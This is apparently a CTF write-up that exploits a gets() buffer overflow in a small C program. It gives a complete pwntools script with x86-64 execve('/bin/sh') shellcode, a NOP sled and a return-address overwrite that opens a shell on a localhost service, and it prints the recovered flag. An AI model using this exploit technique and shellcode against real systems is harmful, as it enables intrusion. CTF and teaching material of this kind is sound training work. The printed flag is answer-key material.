CTF Challenge Solution Write-Up

This write-up explains a Capture The Flag (CTF) challenge solution that exploits a buffer overflow vulnerability to execute arbitrary code. The solution is implemented in Python using the `pwntools` library, a powerful toolkit for exploit development and CTFs.

1. **Inspect the code**:

   ```c
   #include <stdio.h>
   #include <string.h>
   #include <stdlib.h>

   int main(int argc, char * argv[]){
       char passwd[128];

       printf("The address of your password is: %p\n", &passwd);
       printf("Password:\n");
       fflush(stdout);

       gets(passwd);

       printf("You \033[31mshell\033[0m not pass\n", passwd);
       return 0;
   }
   ```

   We can see the vulnerability being a buffer overflow opportunity in the `passwd` variable.

2. **Running the Program**:

   ```
   nc localhost 5000
   ```

   We run the script on the server using netcat.

   It will return something like this:

   ```
   $ The address of your password is: 0x12345678
   $ Password:
   ```

   Every time we re-run the program we will get a different address. This is due to "Address Space Layout Randomization" (ASLR). We will have to find a way to manually forge a payload using the current address or we will have to parse the address in a script for automation.

3. **Establishing Connection via Python Script**:

   ```
   from pwn import *

   p = remote('localhost', 5000)
   ```

   The script starts by establishing a remote connection to a service running on localhost at port 5000 using pwntools. This could also be replaced with a local process for testing purposes.

4. **Receiving Data and Extracting Address**:

   ```
   output = p.recvuntil('\n')
   address = p64(int(output[-13:-1], 16))
   ```

   The script receives data from the service until a newline character is encountered. It extracts a memory address from this data, which is likely a pointer or an address needed for the exploit. The address is converted from hexadecimal to a 64-bit packed binary format using p64.

5. **Crafting the Payload**:

   ```
   sled = (8+128-24-32) * b"\x90"
   shellcode =
   b"\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x
   3b\x48\x31\xf6\x0f\x05"
   padding = 32 * b"\x90"
   payload = sled + shellcode + padding + address
   ```

   A NOP sled (sequence of no-operation instructions) is created. The size of the sled is calculated dynamically. This technique is used to increase the chances that the CPU's instruction pointer will land on our injected code.

   The shellcode `execve(/bin/sh)` is a pre-compiled set of instructions designed to open a shell. It's important to note that shellcode must be compatible with the target architecture and OS (in this case `x86-64`).

   Additional padding is added, likely to align the payload correctly in memory. This padding ensures that the shellcode is placed where it's expected to be by the exploit.

   The final payload is a concatenation of the NOP sled, the shellcode, the padding, and the extracted address.

6. **Sending the Payload and Gaining Control**:

```
p.sendline(payload)
p.interactive()
```

   The payload is sent to the service. If the exploit is successful, this should overwrite the service's memory and redirect execution to the shellcode, effectively granting control over the service. The script then switches to interactive mode to allow manual interaction with the now-compromised service.

7. **Checking the Current Directory**:

```
ls
```

   We list the files in the current directory hoping to find any clues.

8. **Retrieving the Flag**:

```
cat flag.txt
```

   Finally we retireve the flag by looking at the content of flag.txt

9. **The Flag**:

```
CTF{B4ch3l0r_Pr0j3ct}
```

The full python script to solve the challenge:

```
from pwn import *

p = remote('localhost', 5000)

output = p.recvuntil('\n')
address = p64(int(output[-13:-1], 16))

sled = (8+128-24-32) * b"\x90"
shellcode =
b"\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x48
\x31\xf6\x0f\x05"
padding = 32 * b"\x90"

payload = sled + shellcode + padding + address

p.sendline(payload)
p.interactive()
```